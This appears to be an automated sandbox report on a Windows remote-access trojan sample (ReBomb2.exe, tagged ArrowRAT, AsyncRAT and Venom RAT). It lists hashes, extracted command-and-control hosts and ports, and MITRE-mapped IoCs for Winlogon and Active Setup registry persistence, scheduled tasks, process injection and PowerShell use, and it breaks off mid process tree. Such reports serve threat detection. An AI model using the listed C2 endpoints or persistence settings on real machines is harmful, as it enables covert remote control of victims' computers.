arrowrat | 80d1631227d5b253b69f1004286c4562e765d54be593ac0b6ad0d34b35275f94

Analysis

max time kernel
38s
max time network
152s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
24-11-2024 21:56

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

ReBomb2.exe
Size

8.8MB
MD5

11f3d124b89d4c6a737f993442e15259
SHA1

290b45651633021d3afd4bdedf8f03c2c705cf11
SHA256

80d1631227d5b253b69f1004286c4562e765d54be593ac0b6ad0d34b35275f94
SHA512

43822db6a9dd226579c136e7049012714fb54ca4915fdf4b4ba92e2a72380b1b56de7a9a6cef79e9b62139e36244812955ca4bb2ff8991f03ef96f929d95b4f8
SSDEEP

196608:jnXFXAjanN0pJEFaSWADbBZpY8kqt0W9X41CoOw0bldnC9t:DFrypJEDpnpzkqt0kX41CtBdnC9t

Score

10^/10

arrowrat asyncrat venom clients venomhvnc discovery execution persistence rat

Malware Config

Extracted

Family

arrowrat

Botnet

VenomHVNC

windows-services.linkpc.net:4448

Mutex

waDQmvKdS.exe

Extracted

Family

asyncrat

Version

5.0.5

Botnet

Venom Clients

windows-services.linkpc.net:4449

Mutex

Venom_RAT_HVNC_Mutex_Venom RAT_HVNC

Attributes

delay
1
install
true
install_file
System.exe
install_folder
%AppData%

aes.plain

Signatures

ArrowRat
Remote access tool with various capabilities first seen in late 2021.
rat arrowrat
Arrowrat family
arrowrat
AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Modifies WinLogon for persistence 2 TTPs 4 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, C:\\Users\\Admin\\AppData\\Roaming\\sihost\\sihost"	ClientH.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, C:\\Users\\Admin\\AppData\\Roaming\\sihost\\sihost"	ClientH.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, C:\\Users\\Admin\\AppData\\Roaming\\sihost\\sihost"	ClientH.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, C:\\Users\\Admin\\AppData\\Roaming\\sihost\\sihost"	ClientH.exe

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral1/files/0x0007000000016cc8-12.dat	family_asyncrat

Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

persistence

Active Setup

T1547.014

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Active Setup\Installed Components	explorer.exe

Executes dropped EXE 64 IoCs

pid	Process
2184	ReBomb2.exe
2884	ClientH.exe
2760	venom.exe
2668	ReBomb2.exe
2568	ClientH.exe
2584	ReBomb2.exe
2664	ClientH.exe
2848	ReBomb2.exe
2984	venom.exe
2436	ClientH.exe
2780	venom.exe
2976	venom.exe
2952	ClientH.exe
484	ReBomb2.exe
2120	venom.exe
2528	ReBomb2.exe
680	ClientH.exe
1844	ReBomb2.exe
1148	venom.exe
1476	ClientH.exe
2220	ReBomb2.exe
2492	venom.exe
2240	ClientH.exe
1104	venom.exe
2208	ClientH.exe
656	ReBomb2.exe
448	venom.exe
760	ReBomb2.exe
928	ReBomb2.exe
692	venom.exe
1744	ClientH.exe
1724	ClientH.exe
296	ReBomb2.exe
2060	venom.exe
568	venom.exe
1756	ClientH.exe
1780	ClientH.exe
1708	ReBomb2.exe
2872	venom.exe
2320	ClientH.exe
2624	ReBomb2.exe
1572	venom.exe
2548	ClientH.exe
2772	ReBomb2.exe
2676	venom.exe
2560	ReBomb2.exe
2796	ReBomb2.exe
2708	venom.exe
284	ReBomb2.exe
1124	venom.exe
2296	ClientH.exe
2908	ClientH.exe
2184	ClientH.exe
2556	venom.exe
2640	ClientH.exe
2940	ReBomb2.exe
1784	venom.exe
3240	ReBomb2.exe
3296	ClientH.exe
3324	ClientH.exe
3288	ReBomb2.exe
3304	venom.exe
3332	venom.exe
3404	ReBomb2.exe

Loads dropped DLL 64 IoCs

pid	Process
3024	ReBomb2.exe
3024	ReBomb2.exe
3024	ReBomb2.exe
2184	ReBomb2.exe
2184	ReBomb2.exe
2184	ReBomb2.exe
2668	ReBomb2.exe
2668	ReBomb2.exe
2668	ReBomb2.exe
2584	ReBomb2.exe
2584	ReBomb2.exe
2584	ReBomb2.exe
2848	ReBomb2.exe
2848	ReBomb2.exe
2848	ReBomb2.exe
484	ReBomb2.exe
484	ReBomb2.exe
2528	ReBomb2.exe
2528	ReBomb2.exe
2528	ReBomb2.exe
484	ReBomb2.exe
1844	ReBomb2.exe
1844	ReBomb2.exe
1844	ReBomb2.exe
2220	ReBomb2.exe
2220	ReBomb2.exe
2220	ReBomb2.exe
656	ReBomb2.exe
656	ReBomb2.exe
760	ReBomb2.exe
760	ReBomb2.exe
760	ReBomb2.exe
656	ReBomb2.exe
928	ReBomb2.exe
928	ReBomb2.exe
928	ReBomb2.exe
296	ReBomb2.exe
296	ReBomb2.exe
296	ReBomb2.exe
1708	ReBomb2.exe
1708	ReBomb2.exe
1708	ReBomb2.exe
2624	ReBomb2.exe
2624	ReBomb2.exe
2624	ReBomb2.exe
2772	ReBomb2.exe
2772	ReBomb2.exe
2560	ReBomb2.exe
2560	ReBomb2.exe
2560	ReBomb2.exe
2772	ReBomb2.exe
2796	ReBomb2.exe
2796	ReBomb2.exe
2796	ReBomb2.exe
284	ReBomb2.exe
284	ReBomb2.exe
284	ReBomb2.exe
2940	ReBomb2.exe
3240	ReBomb2.exe
3240	ReBomb2.exe
3240	ReBomb2.exe
2940	ReBomb2.exe
2940	ReBomb2.exe
3288	ReBomb2.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
12720	powershell.exe
6484	powershell.exe
780	Process not Found
4644	Process not Found
7696	powershell.exe
8096	powershell.exe
11488	powershell.exe
12376	powershell.exe
11440	powershell.exe
8268	powershell.exe
6304	Process not Found
2320	Process not Found
7380	powershell.exe
6796	powershell.exe
704	powershell.exe
9324	powershell.exe
12148	powershell.exe
5944	powershell.exe
15984	Process not Found
12576	powershell.exe
11080	powershell.exe
12456	powershell.exe
3244	powershell.exe
7580	powershell.exe
12384	powershell.exe
8292	powershell.exe
3736	powershell.exe
4380	powershell.exe
5204	powershell.exe
11672	powershell.exe
3544	Process not Found
9172	Process not Found
6168	Process not Found
6108	powershell.exe
13216	powershell.exe
6068	powershell.exe
14916	powershell.exe
9152	powershell.exe
11452	powershell.exe
12284	powershell.exe
15300	Process not Found
12388	Process not Found
4648	Process not Found
6988	powershell.exe
11656	powershell.exe
11760	powershell.exe
10748	powershell.exe
11632	powershell.exe
6264	powershell.exe
1400	powershell.exe
12316	Process not Found
2588	powershell.exe
9032	powershell.exe
12880	powershell.exe
13104	powershell.exe
7436	powershell.exe
11552	Process not Found
2956	powershell.exe
12448	powershell.exe
12828	powershell.exe
12488	powershell.exe
6892	powershell.exe
12584	powershell.exe
7568	powershell.exe

Suspicious use of SetThreadContext 46 IoCs

description	pid	Process	procid_target
PID 2320 set thread context of 3256	2320	ClientH.exe	117
PID 2436 set thread context of 3264	2436	ClientH.exe	708
PID 3296 set thread context of 4060	3296	ClientH.exe	157
PID 2640 set thread context of 2636	2640	ClientH.exe	159
PID 2240 set thread context of 3248	2240	ClientH.exe	116
PID 1780 set thread context of 3456	1780	ClientH.exe	161
PID 680 set thread context of 4008	680	ClientH.exe	155
PID 1756 set thread context of 3976	1756	ClientH.exe	152
PID 2208 set thread context of 4836	2208	ClientH.exe	240
PID 3420 set thread context of 5208	3420	ClientH.exe	273
PID 2548 set thread context of 4608	2548	ClientH.exe	271
PID 2908 set thread context of 2052	2908	ClientH.exe	272
PID 1476 set thread context of 5008	1476	ClientH.exe	268
PID 1724 set thread context of 4988	1724	ClientH.exe	256
PID 3440 set thread context of 5556	3440	ClientH.exe	277
PID 3588 set thread context of 5656	3588	ClientH.exe	279
PID 4404 set thread context of 5988	4404	ClientH.exe	285
PID 3508 set thread context of 5628	3508	ClientH.exe	276
PID 3744 set thread context of 5900	3744	ClientH.exe	282
PID 3324 set thread context of 5948	3324	ClientH.exe	283
PID 4460 set thread context of 5684	4460	ClientH.exe	280
PID 4360 set thread context of 5736	4360	ClientH.exe	281
PID 3816 set thread context of 5936	3816	ClientH.exe	284
PID 3656 set thread context of 5308	3656	ClientH.exe	274
PID 4188 set thread context of 5588	4188	ClientH.exe	286
PID 4868 set thread context of 5820	4868	ClientH.exe	288
PID 2296 set thread context of 5024	2296	ClientH.exe	266
PID 4616 set thread context of 6100	4616	ClientH.exe	319
PID 4544 set thread context of 632	4544	ClientH.exe	315
PID 5072 set thread context of 3024	5072	ClientH.exe	314
PID 5232 set thread context of 6248	5232	ClientH.exe	332
PID 2500 set thread context of 1596	2500	ClientH.exe	330
PID 4716 set thread context of 2656	4716	ClientH.exe	302
PID 5664 set thread context of 6608	5664	ClientH.exe	351
PID 5756 set thread context of 6584	5756	ClientH.exe	350
PID 5416 set thread context of 3156	5416	ClientH.exe	310
PID 780 set thread context of 288	780	ClientH.exe	373
PID 3012 set thread context of 5864	3012	ClientH.exe	1399
PID 3836 set thread context of 1092	3836	ClientH.exe	398
PID 2864 set thread context of 2576	2864	ClientH.exe	378
PID 5272 set thread context of 1800	5272	ClientH.exe	512
PID 6292 set thread context of 4504	6292	ClientH.exe	563
PID 6000 set thread context of 7156	6000	ClientH.exe	443
PID 6504 set thread context of 4216	6504	ClientH.exe	1598
PID 6744 set thread context of 9272	6744	ClientH.exe	564
PID 6604 set thread context of 10472	6604	ClientH.exe	584

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ReBomb2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ReBomb2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ReBomb2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ReBomb2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ReBomb2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ClientH.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ClientH.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ClientH.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ReBomb2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ReBomb2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ReBomb2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ClientH.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ReBomb2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ClientH.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ClientH.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ReBomb2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ClientH.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ClientH.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ReBomb2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ReBomb2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ClientH.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ClientH.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ReBomb2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ClientH.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ClientH.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ReBomb2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ClientH.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ReBomb2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ReBomb2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ClientH.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ClientH.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ClientH.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ClientH.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ReBomb2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ReBomb2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ClientH.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ReBomb2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ReBomb2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ClientH.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ReBomb2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ClientH.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ReBomb2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ClientH.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ClientH.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ReBomb2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ClientH.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ReBomb2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ClientH.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ClientH.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ClientH.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ClientH.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ReBomb2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ReBomb2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ReBomb2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ReBomb2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ReBomb2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ReBomb2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ReBomb2.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ReBomb2.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
13764	timeout.exe

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Internet Explorer\Toolbar	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Internet Explorer\Toolbar\Locked = "1"	explorer.exe

Modifies registry class 5 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = ffffffff	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	explorer.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000_CLASSES\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots	explorer.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
6304	schtasks.exe
4376	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2568	ClientH.exe
2884	ClientH.exe
2664	ClientH.exe
2952	ClientH.exe
2436	ClientH.exe
680	ClientH.exe
1476	ClientH.exe
2208	ClientH.exe
2240	ClientH.exe
1744	ClientH.exe
1780	ClientH.exe
1724	ClientH.exe
1756	ClientH.exe
2320	ClientH.exe
2548	ClientH.exe
2296	ClientH.exe
2640	ClientH.exe
2908	ClientH.exe
2588	powershell.exe
2956	powershell.exe
2184	ClientH.exe
2184	ClientH.exe
3296	ClientH.exe
3296	ClientH.exe
3508	ClientH.exe
3508	ClientH.exe
3440	ClientH.exe
3440	ClientH.exe
3420	ClientH.exe
3420	ClientH.exe
3744	ClientH.exe
3744	ClientH.exe
3324	ClientH.exe
3324	ClientH.exe
2952	ClientH.exe
2952	ClientH.exe
2952	ClientH.exe
2952	ClientH.exe
3816	ClientH.exe
3816	ClientH.exe
3588	ClientH.exe
3588	ClientH.exe
3656	ClientH.exe
3656	ClientH.exe
4188	ClientH.exe
4188	ClientH.exe
4404	ClientH.exe
4404	ClientH.exe
2664	ClientH.exe
2664	ClientH.exe
2664	ClientH.exe
2664	ClientH.exe
4360	ClientH.exe
4360	ClientH.exe
4460	ClientH.exe
4460	ClientH.exe
4716	ClientH.exe
4868	ClientH.exe
4868	ClientH.exe
4716	ClientH.exe
5072	ClientH.exe
5072	ClientH.exe
2864	ClientH.exe
2864	ClientH.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2568	ClientH.exe
Token: SeDebugPrivilege	2884	ClientH.exe
Token: SeDebugPrivilege	2664	ClientH.exe
Token: SeDebugPrivilege	2952	ClientH.exe
Token: SeDebugPrivilege	2436	ClientH.exe
Token: SeDebugPrivilege	680	ClientH.exe
Token: SeDebugPrivilege	1476	ClientH.exe
Token: SeDebugPrivilege	2208	ClientH.exe
Token: SeDebugPrivilege	2240	ClientH.exe
Token: SeDebugPrivilege	1744	ClientH.exe
Token: SeDebugPrivilege	1780	ClientH.exe
Token: SeDebugPrivilege	1724	ClientH.exe
Token: SeDebugPrivilege	1756	ClientH.exe
Token: SeDebugPrivilege	2320	ClientH.exe
Token: SeDebugPrivilege	2548	ClientH.exe
Token: SeDebugPrivilege	2296	ClientH.exe
Token: SeDebugPrivilege	2640	ClientH.exe
Token: SeDebugPrivilege	2908	ClientH.exe
Token: SeDebugPrivilege	2588	powershell.exe
Token: SeDebugPrivilege	2956	powershell.exe
Token: SeDebugPrivilege	2184	ClientH.exe
Token: SeShutdownPrivilege	1368	explorer.exe
Token: SeDebugPrivilege	3296	ClientH.exe
Token: SeDebugPrivilege	3508	ClientH.exe
Token: SeDebugPrivilege	3440	ClientH.exe
Token: SeDebugPrivilege	3420	ClientH.exe
Token: SeDebugPrivilege	3744	ClientH.exe
Token: SeDebugPrivilege	3324	ClientH.exe
Token: SeDebugPrivilege	3816	ClientH.exe
Token: SeDebugPrivilege	3588	ClientH.exe
Token: SeDebugPrivilege	3656	ClientH.exe
Token: SeDebugPrivilege	4188	ClientH.exe
Token: SeDebugPrivilege	4404	ClientH.exe
Token: SeDebugPrivilege	4360	ClientH.exe
Token: SeDebugPrivilege	4460	ClientH.exe
Token: SeDebugPrivilege	4716	ClientH.exe
Token: SeDebugPrivilege	4868	ClientH.exe
Token: SeDebugPrivilege	5072	ClientH.exe
Token: SeDebugPrivilege	2864	ClientH.exe
Token: SeDebugPrivilege	2500	ClientH.exe
Token: SeDebugPrivilege	4544	ClientH.exe
Token: SeDebugPrivilege	4616	ClientH.exe
Token: SeDebugPrivilege	3012	ClientH.exe
Token: SeDebugPrivilege	3836	ClientH.exe
Token: SeDebugPrivilege	780	ClientH.exe
Token: SeDebugPrivilege	5232	ClientH.exe
Token: SeDebugPrivilege	5332	ClientH.exe
Token: SeDebugPrivilege	5416	ClientH.exe
Token: SeDebugPrivilege	5572	ClientH.exe
Token: SeDebugPrivilege	5664	ClientH.exe
Token: SeShutdownPrivilege	1368	explorer.exe
Token: SeShutdownPrivilege	1368	explorer.exe
Token: SeShutdownPrivilege	1368	explorer.exe
Token: SeDebugPrivilege	5756	ClientH.exe
Token: SeShutdownPrivilege	1368	explorer.exe
Token: SeShutdownPrivilege	1368	explorer.exe
Token: SeShutdownPrivilege	1368	explorer.exe
Token: SeDebugPrivilege	6000	ClientH.exe
Token: SeShutdownPrivilege	1368	explorer.exe
Token: SeDebugPrivilege	5272	ClientH.exe
Token: SeDebugPrivilege	6292	ClientH.exe
Token: SeDebugPrivilege	6384	ClientH.exe
Token: SeDebugPrivilege	6504	ClientH.exe
Token: SeDebugPrivilege	6240	powershell.exe

Suspicious use of FindShellTrayWindow 20 IoCs

pid	Process
1368	explorer.exe
1368	explorer.exe
1368	explorer.exe
1368	explorer.exe
1368	explorer.exe
1368	explorer.exe
1368	explorer.exe
1368	explorer.exe
1368	explorer.exe
1368	explorer.exe
1368	explorer.exe
1368	explorer.exe
1368	explorer.exe
1368	explorer.exe
1368	explorer.exe
1368	explorer.exe
1368	explorer.exe
1368	explorer.exe
1368	explorer.exe
1368	explorer.exe

Suspicious use of SendNotifyMessage 12 IoCs

pid	Process
1368	explorer.exe
1368	explorer.exe
1368	explorer.exe
1368	explorer.exe
1368	explorer.exe
1368	explorer.exe
1368	explorer.exe
1368	explorer.exe
1368	explorer.exe
1368	explorer.exe
1368	explorer.exe
1368	explorer.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3024 wrote to memory of 2184	3024	ReBomb2.exe	87
PID 3024 wrote to memory of 2184	3024	ReBomb2.exe	87
PID 3024 wrote to memory of 2184	3024	ReBomb2.exe	87
PID 3024 wrote to memory of 2184	3024	ReBomb2.exe	87
PID 3024 wrote to memory of 2884	3024	ReBomb2.exe	32
PID 3024 wrote to memory of 2884	3024	ReBomb2.exe	32
PID 3024 wrote to memory of 2884	3024	ReBomb2.exe	32
PID 3024 wrote to memory of 2884	3024	ReBomb2.exe	32
PID 3024 wrote to memory of 2760	3024	ReBomb2.exe	33
PID 3024 wrote to memory of 2760	3024	ReBomb2.exe	33
PID 3024 wrote to memory of 2760	3024	ReBomb2.exe	33
PID 3024 wrote to memory of 2760	3024	ReBomb2.exe	33
PID 3024 wrote to memory of 2688	3024	ReBomb2.exe	34
PID 3024 wrote to memory of 2688	3024	ReBomb2.exe	34
PID 3024 wrote to memory of 2688	3024	ReBomb2.exe	34
PID 3024 wrote to memory of 2688	3024	ReBomb2.exe	34
PID 2184 wrote to memory of 2668	2184	ReBomb2.exe	35
PID 2184 wrote to memory of 2668	2184	ReBomb2.exe	35
PID 2184 wrote to memory of 2668	2184	ReBomb2.exe	35
PID 2184 wrote to memory of 2668	2184	ReBomb2.exe	35
PID 2184 wrote to memory of 2568	2184	ReBomb2.exe	36
PID 2184 wrote to memory of 2568	2184	ReBomb2.exe	36
PID 2184 wrote to memory of 2568	2184	ReBomb2.exe	36
PID 2184 wrote to memory of 2568	2184	ReBomb2.exe	36
PID 2688 wrote to memory of 2588	2688	WScript.exe	37
PID 2688 wrote to memory of 2588	2688	WScript.exe	37
PID 2688 wrote to memory of 2588	2688	WScript.exe	37
PID 2688 wrote to memory of 2588	2688	WScript.exe	37
PID 2184 wrote to memory of 2780	2184	ReBomb2.exe	755
PID 2184 wrote to memory of 2780	2184	ReBomb2.exe	755
PID 2184 wrote to memory of 2780	2184	ReBomb2.exe	755
PID 2184 wrote to memory of 2780	2184	ReBomb2.exe	755
PID 2668 wrote to memory of 2584	2668	ReBomb2.exe	39
PID 2668 wrote to memory of 2584	2668	ReBomb2.exe	39
PID 2668 wrote to memory of 2584	2668	ReBomb2.exe	39
PID 2668 wrote to memory of 2584	2668	ReBomb2.exe	39
PID 2668 wrote to memory of 2664	2668	ReBomb2.exe	41
PID 2668 wrote to memory of 2664	2668	ReBomb2.exe	41
PID 2668 wrote to memory of 2664	2668	ReBomb2.exe	41
PID 2668 wrote to memory of 2664	2668	ReBomb2.exe	41
PID 2668 wrote to memory of 2976	2668	ReBomb2.exe	616
PID 2668 wrote to memory of 2976	2668	ReBomb2.exe	616
PID 2668 wrote to memory of 2976	2668	ReBomb2.exe	616
PID 2668 wrote to memory of 2976	2668	ReBomb2.exe	616
PID 2584 wrote to memory of 2848	2584	ReBomb2.exe	677
PID 2584 wrote to memory of 2848	2584	ReBomb2.exe	677
PID 2584 wrote to memory of 2848	2584	ReBomb2.exe	677
PID 2584 wrote to memory of 2848	2584	ReBomb2.exe	677
PID 2584 wrote to memory of 2952	2584	ReBomb2.exe	44
PID 2584 wrote to memory of 2952	2584	ReBomb2.exe	44
PID 2584 wrote to memory of 2952	2584	ReBomb2.exe	44
PID 2584 wrote to memory of 2952	2584	ReBomb2.exe	44
PID 2584 wrote to memory of 2984	2584	ReBomb2.exe	45
PID 2584 wrote to memory of 2984	2584	ReBomb2.exe	45
PID 2584 wrote to memory of 2984	2584	ReBomb2.exe	45
PID 2584 wrote to memory of 2984	2584	ReBomb2.exe	45
PID 2848 wrote to memory of 484	2848	ReBomb2.exe	46
PID 2848 wrote to memory of 484	2848	ReBomb2.exe	46
PID 2848 wrote to memory of 484	2848	ReBomb2.exe	46
PID 2848 wrote to memory of 484	2848	ReBomb2.exe	46
PID 2848 wrote to memory of 2436	2848	ReBomb2.exe	461
PID 2848 wrote to memory of 2436	2848	ReBomb2.exe	461
PID 2848 wrote to memory of 2436	2848	ReBomb2.exe	461
PID 2848 wrote to memory of 2436	2848	ReBomb2.exe	461

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
"C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3024
- C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
  "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2184
- - C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
    "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2668
  - - C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
      "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:2584
    - - C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:2848
      - C:\Users\Admin\AppData\Local\Temp\ReBomb2.exe
        
